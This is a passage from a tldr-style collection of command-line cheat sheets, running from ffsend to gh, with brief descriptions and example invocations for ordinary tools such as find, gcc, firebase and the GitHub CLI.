stream=bit_rate -of default=noprint_wrappers=1:nokey=1
{{input.mp4}}
ffsend
Easily and securely share files from command-line.

More information: https://gitlab.com/timvisee/ffsend.

• Upload a file:

ffsend upload {{file}}

• Download a file:

ffsend download {{url}}

• Upload a file with password:

ffsend upload {{file}} -p {{password}}

• Download a file protected by password:

ffsend download {{file}} -p {{password}}

• Upload a file and allow 4 downloads:

ffsend upload {{file}} -d {{4}}


fg
Run jobs in foreground.

More information: https://manned.org/fg.

• Bring most recently suspended background job to foreground:

fg

• Bring a specific job to foreground:

fg %{{job_id}}
fgrep
Matches fixed strings in files.

Equivalent to grep -F.

More information: https://www.gnu.org/software/grep/manual/grep.html.

• Search for an exact string in a file:

fgrep {{search_string}} {{path/to/file}}

• Search only lines that match entirely in files:

fgrep -x {{path/to/file1}} {{path/to/file2}}

• Count the number of lines that match the given string in a file:

fgrep -c {{search_string}} {{path/to/file}}

• Show the line number in the file along with the line matched:

fgrep -n {{search_string}} {{path/to/file}}

• Display all lines except those that contain the search string:

fgrep -v {{search_string}} {{path/to/file}}

• Display filenames whose content matches the search string at least once:

fgrep -l {{search_string}} {{path/to/file1}} {{path/to/


file2}}
figlet
Generate ASCII banners from user input.

See also: showfigfonts.

More information: http://www.figlet.org/figlet-man.html.

• Generate by directly inputting text:

figlet {{input_text}}

• Use a custom font file:

figlet {{input_text}} -f {{path/to/font_file.flf}}

• Use a font from the default font directory (the extension can be omitted):

figlet {{input_text}} -f {{font_filename}}

• Pipe command output through FIGlet:

{{command}} | figlet

• Show available FIGlet fonts:

showfigfonts {{optional_string_to_display}}
file
Determine file type.

More information: https://manned.org/file.

• Give a description of the type of the specified file. Works fine for files with no file
extension:

file {{filename}}

• Look inside a zipped file and determine the file type(s) inside:

file -z {{foo.zip}}

• Allow file to work with special or device files:

file -s {{filename}}

• Don't stop at first file type match; keep going until the end of the file:

file -k {{filename}}

• Determine the mime encoding type of a file:

file -i {{filename}}
fin
Docksal command-line utility.

More information: https://docs.docksal.io/fin/fin/.

• Start the project in the current directory:

fin project start

• Stop the project in the current directory:

fin project stop

• Open a shell into a specific container:

fin bash {{container_name}}

• Display logs of a specific container:

fin logs {{container_name}}

• Display logs of a specific container and follow the log:

fin logs -f {{container_name}}


find
Find files or directories under the given directory tree, recursively.

More information: https://manned.org/find.

• Find files by extension:

find {{root_path}} -name '{{*.ext}}'

• Find files matching multiple path/name patterns:

find {{root_path}} -path '{{**/path/**/*.ext}}' -or -name


'{{*pattern*}}'

• Find directories matching a given name, in case-insensitive mode:

find {{root_path}} -type d -iname '{{*lib*}}'

• Find files matching a given pattern, excluding specific paths:

find {{root_path}} -name '{{*.py}}' -not -path '{{*/site-


packages/*}}'

• Find files matching a given size range:

find {{root_path}} -size {{+500k}} -size {{-10M}}

• Run a command for each file (use {} within the command to access the filename):

find {{root_path}} -name '{{*.ext}}' -exec {{wc -l {} }}\;

• Find files modified in the last 7 days and delete them:

find {{root_path}} -daystart -mtime -{{7}} -delete

• Find empty (0 byte) files and delete them:

find {{root_path}} -type {{f}} -empty -delete


finger
User information lookup program.

More information: https://manned.org/finger.

• Display information about currently logged in users:

finger

• Display information about a specific user:

finger {{username}}

• Display the user's login name, real name, terminal name, and other information:

finger -s

• Produce multiline output format displaying same information as -s as well as


user's home directory, home phone number, login shell, mail status, etc.:

finger -l

• Prevent matching against user's names and only use login names:

finger -m
firebase
Test, manage, and deploy Firebase projects from the command-line.

More information: https://github.com/firebase/firebase-tools.

• Log in to https://console.firebase.google.com:

firebase login

• List existing Firebase projects:

firebase projects:list

• Start an interactive wizard to create a Firebase project in the current directory:

firebase init

• Deploy code and assets to the current Firebase project:

firebase deploy

• Start a local server to statically host the current Firebase project's assets:

firebase serve

• Start an interactive wizard to open one of many links of the current Firebase
project in the default web browser:

firebase open
firefox
A free and open source web browser.

More information: https://developer.mozilla.org/en-US/docs/Mozilla/


Command_Line_Options.

• Launch Firefox and open a web page:

firefox {{https://www.duckduckgo.com}}

• Open a new window:

firefox --new-window {{https://www.duckduckgo.com}}

• Open a private (incognito) window:

firefox --private-window

• Search for "wikipedia" using the default search engine:

firefox --search "{{wikipedia}}"

• Launch Firefox in safe mode, with all extensions disabled:

firefox --safe-mode

• Take a screenshot of a web page in headless mode:

firefox --headless --screenshot {{path/to/output_file.png}}


{{https://example.com/}}

• Use a specific profile to allow multiple separate instances of Firefox to run at once:

firefox --profile {{path/to/directory}} {{https://


example.com/}}

• Set Firefox as the default browser:

firefox --setDefaultBrowser
fish
The Friendly Interactive SHell, a command-line interpreter designed to be user friendly.

More information: https://fishshell.com.

• Start an interactive shell session:

fish

• Start an interactive shell session without loading startup configs:

fish --no-config

• Execute a command:

fish --command "{{command}}"

• Execute a script:

fish {{path/to/script.fish}}

• Check a script for syntax errors:

fish --no-execute {{path/to/script.fish}}

• Start an interactive shell session in private mode, where the shell does not access
old history or save new history:

fish --private

• Define and export an environmental variable that persists across shell restarts
(builtin):

set --universal --export {{variable_name}} {{variable_value}}

• Print the version:

fish --version
fisher
Fisher, a fish-shell plugin manager.

Install plugins by name or from a managed 'fishfile' for bundled installs.

More information: https://github.com/jorgebucaran/fisher.

• Install one or more plugins:

fisher {{plugin1}} {{plugin2}}

• Install a plugin from a GitHub gist:

fisher {{gist_url}}

• Edit 'fishfile' manually with your favorite editor and install multiple plugins:

{{editor}} ~/.config/fish/fishfile; fisher

• List installed plugins:

fisher ls

• Update plugins:

fisher update

• Remove one or more plugins:

fisher remove {{plugin1}} {{plugin2}}


fkill
Fabulously kill processes. Cross-platform.

More information: https://github.com/sindresorhus/fkill.

• Run without arguments to use the interactive interface:

fkill

• Kill the process by PID, name or port:

fkill {{pid|name|:port}}
flac
Encodes, decodes and tests FLAC files.

More information: https://xiph.org/flac.

• Encode a WAV file to FLAC (this will create a FLAC file in the same location as the
WAV file):

flac {{path/to/file.wav}}

• Encode a WAV file to FLAC, specifying the output file:

flac -o {{path/to/output.flac}} {{path/to/file.wav}}

• Decode a FLAC file to WAV, specifying the output file:

flac -d -o {{path/to/output.wav}} {{path/to/file.flac}}

• Test a FLAC file for the correct encoding:

flac -t {{path/to/file.flac}}
flake8
Tool to check the style and quality of Python code.

More information: https://flake8.pycqa.org/.

• Lint a file or directory recursively:

flake8 {{path/to/file_or_directory}}

• Lint a file or directory recursively and show the line on which each error occurred:

flake8 --show-source {{path/to/file_or_directory}}

• Lint a file or directory recursively and ignore a list of rules. (All available rules can
be found at flake8rules.com):

flake8 --ignore {{rule1,rule2}} {{path/to/file_or_directory}}

• Lint a file or directory recursively but exclude files matching the given globs or
substrings:

flake8 --exclude {{substring1,glob2}} {{path/to/


file_or_directory}}
flask
A general utility script for Flask applications. Loads the application defined in the
FLASK_APP environment variable.

More information: https://flask.palletsprojects.com/en/1.1.x/cli/.

• Run a development server:

flask run

• Show the routes for the app:

flask routes

• Run a Python interactive shell in the app's context:

flask shell
flex
Lexical analyser generator. Based on lex.

Given the specification for a lexical analyser, generates C code implementing it.

More information: https://manned.org/flex.

• Generate an analyser from a flex file:

flex {{analyser.l}}

• Specify the output file:

flex --outfile {{analyser.c}} {{analyser.l}}

• Compile a C file generated by flex:

cc {{path/to/lex.yy.c}} --output {{executable}}


flow
A static type checker for JavaScript.

More information: https://flow.org.

• Run a flow check:

flow

• Check which files are being checked by flow:

flow ls

• Run a type coverage check on all files in a directory:

flow batch-coverage --show-all --strip-root {{path/to/


directory}}

• Display line-by-line type coverage stats:

flow coverage --color {{path/to/file.jsx}}


fls
List files and directories in an image file or device.

More information: https://wiki.sleuthkit.org/index.php?title=Fls.

• Build a recursive fls list over a device, output paths will start with C:

fls -r -m {{C:}} {{/dev/loop1p1}}

• Analyse a single partition, providing the sector offset at which the filesystem
starts in the image:

fls -r -m {{C:}} -o {{sector}} {{path/to/image_file}}

• Analyse a single partition, providing the timezone of the original system:

fls -r -m {{C:}} -z {{timezone}} {{/dev/loop1p1}}


flutter
Google's free, open source, and cross-platform mobile app SDK.

More information: https://github.com/flutter/flutter/wiki/The-flutter-tool.

• Display help about a specific command:

flutter help {{command}}

• Check if all external tools are correctly installed:

flutter doctor

• List or change Flutter channel:

flutter channel {{stable|beta|dev|master}}

• Run Flutter on all started emulators and connected devices:

flutter run -d all

• Download all packages specified in pubspec.yaml:

flutter pub get

• Run tests in a terminal from the root of the project:

flutter test {{test/example_test.dart}}

• Build a release APK targeting most modern smartphones:

flutter build apk --target-platform {{android-arm}},


{{android-arm64}}
fluxctl
Command-line tool for Flux v1.

More information: https://fluxcd.io/legacy/flux/references/fluxctl.

• List workloads currently running in the cluster on specific namespace:

fluxctl --k8s-fwd-ns={{namespace}} list-workloads

• Show deployed and available images:

fluxctl list-images

• Synchronize the cluster with the git repository:

fluxctl sync

• Turn on automatic deployment for a workload:

fluxctl automate
fly
Command-line tool for concourse-ci.

More information: https://concourse-ci.org/fly.html.

• Authenticate with and save concourse target:

fly --target {{target_name}} login --team-name {{team_name}}


-c {{https://ci.example.com}}

• List targets:

fly targets

• List pipelines:

fly -t {{target_name}} pipelines

• Upload or update a pipeline:

fly -t {{target_name}} set-pipeline --config {{pipeline.yml}}


--pipeline {{pipeline_name}}

• Unpause pipeline:

fly -t {{target_name}} unpause-pipeline --pipeline


{{pipeline_name}}

• Show pipeline configuration:

fly -t {{target_name}} get-pipeline --pipeline


{{pipeline_name}}

• Update local copy of fly:

fly -t {{target_name}} sync

• Destroy pipeline:

fly -t {{target_name}} destroy-pipeline --pipeline


{{pipeline_name}}
fmt
Reformat a text file by joining its paragraphs and limiting the line width to given
number of characters (75 by default).

More information: https://www.gnu.org/software/coreutils/fmt.

• Reformat a file:

fmt {{path/to/file}}

• Reformat a file producing output lines of (at most) n characters:

fmt -w {{n}} {{path/to/file}}

• Reformat a file without joining lines shorter than the given width together:

fmt -s {{path/to/file}}

• Reformat a file with uniform spacing (1 space between words and 2 spaces between
paragraphs):

fmt -u {{path/to/file}}
fnm
Fast Node.js version manager.

Install, uninstall or switch between Node.js versions.

More information: https://github.com/Schniz/fnm.

• Install a specific version of Node.js:

fnm install {{node_version}}

• List all available Node.js versions and highlight the default one:

fnm ls

• Use a specific version of Node.js in the current shell:

fnm use {{node_version}}

• Set the default Node.js version:

fnm default {{node_version}}

• Uninstall a given Node.js version:

fnm uninstall {{node_version}}


fold
Wraps each line in an input file to fit a specified width and prints it to the standard
output.

More information: https://www.gnu.org/software/coreutils/fold.

• Wrap each line to default width (80 characters):

fold {{file}}

• Wrap each line to width "30":

fold -w30 {{file}}

• Wrap each line to width "5" and break the line at spaces (puts each space separated
word in a new line, words with length > 5 are wrapped):

fold -w5 -s {{file}}


for
Shell loop over parameters.

More information: https://man.archlinux.org/man/for.n.

• Perform a command with different arguments:

for argument in 1 2 3; do {{command $argument}}; done

• Perform a command in every directory:

for d in *; do (cd $d; {{command}}); done


forever
Server-side JavaScript application that makes sure Node.js applications run indefinitely
(restarts after exit).

More information: https://github.com/foreversd/forever.

• Start running a file forever (as a daemon):

forever {{script}}

• List running "forever" processes (along with IDs and other details of "forever"
processes):

forever list

• Stop a running "forever" process:

forever stop {{ID|pid|script}}


fortune
Print a random quotation (fortune-cookie style).

More information: https://man.archlinux.org/man/fortune.6.

• Print a quotation:

fortune

• Print an offensive quotation:

fortune -o

• Print a long quotation:

fortune -l

• Print a short quotation:

fortune -s

• List the available quotation database files:

fortune -f

• Print a quotation from one of the database files listed by fortune -f:

fortune {{filename}}
fossa
CLI for the Fossa service - Generate realtime license audits, vulnerability scans and
reports about dependencies licenses.

More information: https://github.com/fossas/fossa-cli.

• Initialize a .fossa.yml configuration file:

fossa init

• Run a default project build:

fossa build

• Analyze built dependencies:

fossa analyze

• Generate reports:

fossa report

• Test current revision against the FOSSA scan status and exit with errors if issues
are found:

fossa test
fping
A more powerful ping which can ping multiple hosts.

More information: https://fping.org.

• List alive hosts within a subnet generated from a netmask:

fping -a -g 192.168.1.0/24

• List alive hosts within a subnet generated from an IP range:

fping -a -g 192.168.1.1 192.168.1.254

• List unreachable hosts within a subnet generated from a netmask:

fping -u -g 192.168.1.0/24
from
Prints mail header lines from the current user's mailbox.

More information: https://mailutils.org/manual/html_chapter/Programs.html#frm-and-


from.

• List mail:

from

• Display the number of messages stored:

from --count

• List mail in the specified mailbox directory:

MAIL={{path/to/mailbox}} from

• Print the mail from the specified address:

from --sender={{me@example.com}}
fselect
Find files with SQL-like queries.

More information: https://github.com/jhspetersson/fselect.

• Select full path and size from temporary or config files in a given directory:

fselect size, path from {{path/to/directory}} where name =


{{'*.cfg'}} or name = {{'*.tmp'}}

• Find square images:

fselect path from {{path/to/directory}} where width = height

• Find old-school rap 320kbps MP3 files:

fselect path from {{path/to/directory}} where genre = {{Rap}}


and bitrate = {{320}} and mp3_year lt {{2000}}

• Select only the first 5 results and output as JSON:

fselect size, path from {{path/to/directory}} limit {{5}}


into json

• Use SQL aggregate functions to calculate minimum, maximum and average size of
files in a directory:

fselect "{{MIN(size), MAX(size), AVG(size), SUM(size),


COUNT(*)}} from {{path/to/directory}}"
fswatch
A cross-platform file change monitor.

More information: https://emcrisostomo.github.io/fswatch.

• Run a Bash command on file creation, update or deletion:

fswatch {{path/to/file}} | xargs -n 1 {{bash_command}}

• Watch one or more files and/or directories:

fswatch {{path/to/file}} {{path/to/directory}} {{path/to/


another_directory/**/*.js}} | xargs -n 1 {{bash_command}}

• Print the absolute paths of the changed files:

fswatch {{path/to/directory}} | xargs -n 1 -I {} echo {}

• Filter by event type:

fswatch --event {{Updated|Deleted|Created}} {{path/to/


directory}} | xargs -n 1 {{bash_command}}
fswebcam
Small and simple webcam for *nix.

More information: https://www.sanslogic.co.uk/fswebcam.

• Take a picture:

fswebcam {{filename}}

• Take a picture with custom resolution:

fswebcam -r {{width}}x{{height}} {{filename}}

• Take a picture from selected device(Default is /dev/video0):

fswebcam -d {{device}} {{filename}}

• Take a picture with timestamp(timestamp string is formatted by strftime):

fswebcam --timestamp {{timestamp}} {{filename}}


ftp
Tools to interact with a server via File Transfer Protocol.

More information: https://manned.org/ftp.

• Connect to an FTP server:

ftp {{ftp.example.com}}

• Connect to an FTP server specifying its IP address and port:

ftp {{ip_address}} {{port}}

• Switch to binary transfer mode (graphics, compressed files, etc):

binary

• Transfer multiple files without prompting for confirmation on every file:

prompt off

• Download multiple files (glob expression):

mget {{*.png}}

• Upload multiple files (glob expression):

mput {{*.zip}}

• Delete multiple files on the remote server:

mdelete {{*.txt}}

• Rename a file on the remote server:

rename {{original_filename}} {{new_filename}}


fuck
Corrects your previous console command.

More information: https://github.com/nvbn/thefuck.

• Set the fuck alias to thefuck tool:

eval "$(thefuck --alias)"

• Try to match a rule for the previous command:

fuck

• Confirm the first choice immediately (correct argument depends on level of


annoyance):

fuck --{{yes|yeah|hard}}
func
Azure Functions Core Tools: Develop and test Azure Functions locally.

Local functions can connect to live Azure services, and can deploy a function app to an
Azure subscription.

More information: https://docs.microsoft.com/azure/azure-functions/functions-run-


local.

• Create a new functions project:

func init {{project}}

• Create a new function:

func new

• Run functions locally:

func start

• Publish your code to a function app in Azure:

func azure functionapp publish {{function}}

• Download all settings from an existing function app:

func azure functionapp fetch-app-settings {{function}}

• Get the connection string for a specific storage account:

func azure storage fetch-connection-string


{{storage_account}}
fusermount
Mount and unmount FUSE filesystems.

More information: https://man.archlinux.org/man/fusermount.1.

• Unmount a FUSE filesystem:

fusermount -u {{path/to/mount_point}}

• Unmount a FUSE filesystem as soon as it becomes unused:

fusermount -z {{path/to/mount_point}}

• Display version:

fusermount --version
fzf
Command-line fuzzy finder.

Similar to sk.

More information: https://github.com/junegunn/fzf.

• Start fzf on all files in the specified directory:

find {{path/to/directory}} -type f | fzf

• Start fzf for running processes:

ps aux | fzf

• Select multiple files with Shift + Tab and write to a file:

find {{path/to/directory}} -type f | fzf --multi >


{{filename}}

• Start fzf with a specified query:

fzf --query "{{query}}"

• Start fzf on entries that start with core and end with either go, rb, or py:

fzf --query "^core go$ | rb$ | py$"

• Start fzf on entries that not match pyc and match exactly travis:

fzf --query "!pyc 'travis"


g++
Compiles C++ source files.

Part of GCC (GNU Compiler Collection).

More information: https://gcc.gnu.org.

• Compile a source code file into an executable binary:

g++ {{source.cpp}} -o {{output_executable}}

• Display (almost) all errors and warnings:

g++ {{source.cpp}} -Wall -o {{output_executable}}

• Choose a language standard to compile for(C++98/C++11/C++14/C++17):

g++ {{source.cpp}} -std={{language_standard}} -o


{{output_executable}}

• Include libraries located at a different path than the source file:

g++ {{source.cpp}} -o {{output_executable}} -I{{header_path}}


-L{{library_path}} -l{{library_name}}
ganache-cli
Command-line version of Ganache, your personal blockchain for Ethereum
development.

More information: https://www.trufflesuite.com/ganache.

• Run Ganache:

ganache-cli

• Run Ganache with a specific number of accounts:

ganache-cli --accounts={{number_of_accounts}}

• Run Ganache and lock available accounts by default:

ganache-cli --secure

• Run Ganache server and unlock specific accounts:

ganache-cli --secure --unlock "{{account_private_key1}}" --


unlock "{{account_private_key2}}"

• Run Ganache with a specific account and balance:

ganache-cli --account="{{account_private_key}},
{{account_balance}}"

• Run Ganache with accounts with a default balance:

ganache-cli --defaultBalanceEther={{default_balance}}

• Run Ganache and log all requests to stdout:

ganache-cli --verbose
gatsby
Static site generator for React.

More information: https://gatsbyjs.org.

• Create a new site:

gatsby new {{site_name}}

• Create a new site with a Gatsby 'starter':

gatsby new {{site_name}} {{url_of_starter_github_repo}}

• Start a live-reloading local development server:

gatsby develop

• Perform a production build and generate static HTML:

gatsby build

• Start a local server which serves the production build:

gatsby serve
gcal
Displays calendar.

More information: https://www.gnu.org/software/gcal.

• Display calendar for the current month:

gcal

• Display calendar for the month of February of the year 2010:

gcal {{2}} {{2010}}

• Provide calendar sheet with week numbers:

gcal --with-week-number

• Change starting day of week to 1st day of the week (Monday):

gcal --starting-day={{1}}

• Display the previous, current and next month surrounding today:

gcal .
gcalcli
Command-line tool to interact with Google Calendar.

Requests Google API authorization upon first launch.

More information: https://github.com/insanum/gcalcli.

• List your events for all your calendars over the next 7 days:

gcalcli agenda

• Show events starting from or between specific dates (also takes relative dates e.g.
"tomorrow"):

gcalcli agenda {{mm/dd}} [{{mm/dd}}]

• List events from a specific calendar:

gcalcli --calendar {{calendar_name}} agenda

• Display an ASCII calendar of events by week:

gcalcli calw

• Display an ASCII calendar of events for a month:

gcalcli calm

• Quick-add an event to your calendar:

gcalcli --calendar {{calendar_name}} quick "{{mm/dd}}


{{HH:MM}} {{event_name}}"

• Add an event to calendar. Triggers interactive prompt:

gcalcli --calendar "{{calendar_name}}" add


gcc
Preprocess and compile C and C++ source files, then assemble and link them together.

More information: https://gcc.gnu.org.

• Compile multiple source files into executable:

gcc {{source1.c}} {{source2.c}} --output {{executable}}

• Allow warnings, debug symbols in output:

gcc {{source.c}} -Wall -Og --output {{executable}}

• Include libraries from a different path:

gcc {{source.c}} --output {{executable}} -I{{header_path}} -


L{{library_path}} -l{{library_name}}

• Compile source code into Assembler instructions:

gcc -S {{source.c}}

• Compile source code without linking:

gcc -c {{source.c}}
gcloud
The official CLI tool for Google Cloud Platform.

More information: https://cloud.google.com/sdk/gcloud.

• List all properties in one's active configuration:

gcloud config list

• Log in to Google account:

gcloud auth login

• Set the active project:

gcloud config set project {{project_name}}

• SSH into a virtual machine instance:

gcloud compute ssh {{user}}@{{instance}}

• Display all Google Compute Engine instances in a project. Instances from all zones
are listed by default:

gcloud compute instances list

• Update a kubeconfig file with the appropriate credentials to point kubectl to a


specific cluster in Google Kubernetes Engine:

gcloud container clusters get-credentials {{cluster_name}}

• Update all gcloud CLI components:

gcloud components update

• Show help for a given command:

gcloud help {{command}}


gdalbuildvrt
Build Virtual Datasets from a list of existing datasets.

More information: https://gdal.org/programs/gdalbuildvrt.html.

• Make a virtual mosaic from all TIFF files contained in a directory:

gdalbuildvrt {{path/to/output.vrt}} {{path/to/


input_directory/*.tif}}

• Make a virtual mosaic from files whose name is specified in a text file:

gdalbuildvrt -input_file_list {{path/to/list.txt}} {{path/to/


output.vrt}}

• Make an RGB virtual mosaic from 3 single-band input files:

gdalbuildvrt -separate {{path/to/rgb.vrt}} {{path/to/


red.tif}} {{path/to/green.tif}} {{path/to/blue.tif}}

• Make a virtual mosaic with blue background colour (RGB: 0 0 255):

gdalbuildvrt -hidenodata -vrtnodata "{{0 0 255}}" {{path/to/


output.vrt}} {{path/to/input_directory/*.tif}}
gdb
The GNU Debugger.

More information: https://www.gnu.org/software/gdb.

• Debug an executable:

gdb {{executable}}

• Attach a process to gdb:

gdb -p {{procID}}

• Debug with a core file:

gdb -c {{core}} {{executable}}

• Execute given GDB commands upon start:

gdb -ex "{{commands}}" {{executable}}

• Start gdb and pass arguments to the executable:

gdb --args {{executable}} {{argument1}} {{argument2}}


gdrive
Command-line tool to interact with Google Drive.

Folder/file ID can be obtained from the Google Drive folder or ID URL.

More information: https://github.com/gdrive-org/gdrive.

• Upload a local path to the parent folder with the specified ID:

gdrive upload -p {{id}} {{path/to/file_or_folder}}

• Download file or directory by ID to current directory:

gdrive download {{id}}

• Download to a given local path by its ID:

gdrive download --path {{path/to/folder}} {{id}}

• Create a new revision of an ID using a given file or folder:

gdrive update {{id}} {{path/to/file_or_folder}}


gdu
Disk usage analyzer with console interface.

More information: https://github.com/dundee/gdu.

• Interactively show the disk usage of the current directory:

gdu

• Interactively show the disk usage of a given directory:

gdu {{path/to/directory}}

• Interactively show the disk usage of all mounted disks:

gdu --show-disks

• Interactively show the disk usage of the current directory but ignore some sub-
directories:

gdu --ignore-dirs {{path/to/directory1,path/to/


directory2,...}}

• Ignore paths by regular expression:

gdu --ignore-dirs-pattern '{{.*[abc]+}}'

• Ignore hidden directories:

gdu --no-hidden

• Only print the result, do not enter interactive mode:

gdu --non-interactive {{path/to/directory}}

• Do not show the progress in non-interactive mode (useful in scripts):

gdu --no-progress {{path/to/directory}}


gem
Interact with the package manager for the Ruby programming language.

More information: https://rubygems.org.

• Search for remote gem(s) and show all available versions:

gem search {{regular_expression}} --all

• Install the latest version of a gem:

gem install {{gemname}}

• Install specific version of a gem:

gem install {{gemname}} --version {{1.0.0}}

• Install the latest matching (SemVer) version of a gem:

gem install {{gemname}} --version '~> {{1.0}}'

• Update a gem:

gem update {{gemname}}

• List all local gems:

gem list

• Uninstall a gem:

gem uninstall {{gemname}}

• Uninstall specific version of a gem:

gem uninstall {{gemname}} --version {{1.0.0}}


geth
The go-ethereum command-line interface.

More information: https://geth.ethereum.org.

• Connect to the main Ethereum network and automatically download the full node:

geth

• Connect to the Ropsten test network:

geth --testnet

• Create a new account:

geth account new

• Enable mining:

geth --mine
gh alias
Manage GitHub CLI command aliases from the command-line.

More information: https://cli.github.com/manual/gh_alias.

• Display the subcommand help:

gh alias

• List all the aliases gh is configured to use:

gh alias list

• Create a gh subcommand alias:

gh alias set {{pv}} '{{pr view}}'

• Set a shell command as a gh subcommand:

gh alias set --shell {{alias_name}} {{command}}

• Delete a command shortcut:

gh alias delete {{alias_name}}


gh api
Makes authenticated HTTP requests to the GitHub API and prints the response.

More information: https://cli.github.com/manual/gh_api.

• Display the subcommand help:

gh api --help

• Display the releases for the current repository in JSON format:

gh api repos/:owner/:repo/releases

• Create a reaction for a specific issue:

gh api --header {{Accept:application/vnd.github.squirrel-


girl-preview+json}} --raw-field '{{content=+1}}'
{{repos/:owner/:repo/issues/123/reactions}}

• Display the result of a GraphQL query in JSON format:

gh api graphql --field {{name=':repo'}} --raw-field


'{{query}}'

• Send a request using a custom HTTP method:

gh api --method {{POST}} {{endpoint}}

• Include the HTTP response headers in the output:

gh api --include {{endpoint}}

• Do not print the response body:

gh api --silent {{endpoint}}

• Send a request to a specific GitHub Enterprise Server:

gh api --hostname {{github.example.com}} {{endpoint}}


gh auth
Authenticate with a GitHub host from the command-line.

More information: https://cli.github.com/manual/gh_auth.

• Log in with interactive prompt:

gh auth login

• Log in with a token from standard input (created in https://github.com/settings/


tokens):

echo {{your_token}} | gh auth login --with-token

• Check if you are logged in:

gh auth status

• Log out:

gh auth logout

• Log in with a specific GitHub Enterprise Server:

gh auth login --hostname {{github.example.com}}

• Refresh the session to ensure authentication credentials have the correct


minimum scopes (removes additional scopes requested previously):

gh auth refresh

• Expand the permission scopes:

gh auth refresh --scopes {{write:org,read:public_key}}


gh browse
Open a GitHub repository in the browser or print the URL.

More information: https://cli.github.com/manual/gh_browse.

• Open the homepage of the current repository in the default web browser:

gh browse

• Open the homepage of a specific repository in the default web browser:

gh browse {{owner}}/{{repository}}

• Open the settings page of the current repository in the default web browser:

gh browse --settings

• Open the wiki of the current repository in the default web browser:

gh browse --wiki

• Open a specific issue or pull request in the web browser:

gh browse {{issue_or_pull_request_number}}

• Open a specific branch in the web browser:

gh browse --branch {{branch_name}}

• Open a specific file or directory of the current repository in the web browser:

gh browse {{path_from_root_of_repository}}

• Print the destination URL without open the web browser:

gh browse --no-browser
gh codespace
Connect and manage your codespaces in GitHub.

More information: https://cli.github.com/manual/gh_codespace.

• Create a codespace in GitHub interactively:

gh codespace create

• List all available codespaces:

gh codespace list

• Connect to a codespace via SSH interactively:

gh codespace ssh

• Transfer a file to a codespace interactively:

gh codespace cp {{path/to/source_file}} remote:{{path/to/


remote_file}}

• List the ports of a codespace interactively:

gh codespace ports

• Print the logs from a codespace interactively:

gh codespace logs

• Delete a codespace interactively:

gh codespace delete

• Display help for a subcommand:

gh codespace {{subcommand}} --help


gh completion
Generate shell completion scripts for GitHub CLI commands.

More information: https://cli.github.com/manual/gh_completion.

• Display the subcommand help:

gh completion

• Print a completion script:

gh completion --shell {{bash|zsh|fish|powershell}}

• Append the gh completion script to ~/.bashrc:

gh completion --shell {{bash}} >> {{~/.bashrc}}

• Append the gh completion script to ~/.zshrc:

gh completion --shell {{zsh}} >> {{~/.zshrc}}


gh config
Change configuration for GitHub cli.

More information: https://cli.github.com/manual/gh_config.

• Display what Git protocol is being used:

gh config get git_protocol

• Set protocol to SSH:

gh config set git_protocol {{ssh}}

• Use delta in side-by-side mode as the default pager for all gh commands:

gh config set pager '{{delta --side-by-side}}'

• Set text editor to Vim:

gh config set editor {{vim}}

• Reset to default text editor:

gh config set editor {{""}}

• Disable interactive prompts:

gh config set prompt {{disabled}}

• Set a specific configuration value:

gh config set {{key}} {{value}}


gh cs
This command is an alias of gh codespace.

More information: https://cli.github.com/manual/gh_codespace.

• View documentation for the original command:

tldr gh-codespace
gh environment
Display help about environment variables for the GitHub CLI command.

More information: https://cli.github.com/manual/gh_help_environment.

• Display help about environment variables that can be used with gh:

gh environment
gh extension
Manage extensions for the GitHub CLI.

More information: https://cli.github.com/manual/gh_extension.

• Initialize a new GitHub CLI extension project in a directory of the same name:

gh extension create {{extension_name}}

• Install an extension from a GitHub repository:

gh extension install {{owner}}/{{repository}}

• List installed extensions:

gh extension list

• Upgrade a specific extension:

gh extension upgrade {{extension_name}}

• Upgrade all extensions:

gh extension upgrade --all

• List installed extensions:

gh extension list

• Remove an extension:

gh extension remove {{extension_name}}

• Display help about a subcommand:

gh extension {{subcommand}} --help


gh formatting
Formatting options for JSON data exported from gh GitHub CLI command.

More information: https://cli.github.com/manual/gh_help_formatting.

• Display help about formatting JSON output from gh using jq:

gh formatting
gh gist
Work with GitHub Gists on the command-line.

More information: https://cli.github.com/manual/gh_gist.

• Create a new Gist from a space-separated list of files:

gh gist create {{path/to/files}}

• Create a new Gist with a description:

gh gist create {{filename}} --desc "{{description}}"

• Edit a Gist:

gh gist edit {{id_or_url}}

• List Gists owned by the currently logged in user:

gh gist list --limit {{int}}

• View a Gist in the default browser without rendering Markdown:

gh gist view {{id_or_url}} --web --raw


gh help
Display help about the GitHub CLI command.

More information: https://cli.github.com/manual/gh_help.

• Display general help:

gh help

• Display help for the gh help subcommand:

gh help --help

• Display help about environment variables that can be used with gh:

gh help environment

• Display a markdown reference of all gh commands:

gh help reference

• Display help about formatting JSON output from gh using jq:

gh help formatting

• Display help about using gh with MinTTY:

gh help mintty

• Display help for a subcommand:

gh help {{subcommand}}

• Display help for a subcommand action:

gh help {{pr}} {{create}}


gh issue create
Create GitHub issues on a repository from the command-line.

More information: https://cli.github.com/manual/gh_issue_create.

• Create a new issue against the current repository interactively:

gh issue create

• Create a new issue with the bug label interactively:

gh issue create --label "{{bug}}"

• Create a new issue interactively and assign it to the specified users:

gh issue create --assignee {{user1,user2,...}}

• Create a new issue with a title, body and assign it to the current user:

gh issue create --title "{{title}}" --body "{{body}}" --


assignee "{{@me}}"

• Create a new issue interactively, reading the body text from a file:

gh issue create --body-file {{path/to/file}}

• Create a new issue in the default web browser:

gh issue create --web

• Display the help:

gh issue create --help


gh issue
Manage GitHub issues from the command-line.

More information: https://cli.github.com/manual/gh_issue.

• Print out the issue:

gh issue view {{issue_number}}

• Create a new issue in the web browser:

gh issue create --web

• List the last 10 issues with the bug label:

gh issue list --limit {{10}} --label "{{bug}}"

• List closed issues made by a specific user:

gh issue list --state closed --author {{username}}

• Display the status of issues relevant to the user, in a specific repository:

gh issue status --repo {{owner}}/{{repository}}

• Reopen an issue:

gh issue reopen {{issue_number}}


gh mintty
Display help about MinTTY integration for the GitHub CLI command.

More information: https://cli.github.com/manual/gh_help_mintty.

• Display help about using gh with MinTTY:

gh mintty
gh pr create
Manage GitHub pull requests from the command-line.

More information: https://cli.github.com/manual/gh_pr_create.

• Interactively create a pull request:

gh pr create

• Create a pull request, determining the title and description from the commit
messages of the current branch:

gh pr create --fill

• Create a draft pull request:

gh pr create --draft

• Create a pull request specifying the base branch, title, and description:

gh pr create --base {{base_branch}} --title "{{title}}" --


body "{{body}}"

• Start opening a pull request in the browser:

gh pr create --web
gh pr merge
Merge GitHub pull requests.

More information: https://cli.github.com/manual/gh_pr_merge.

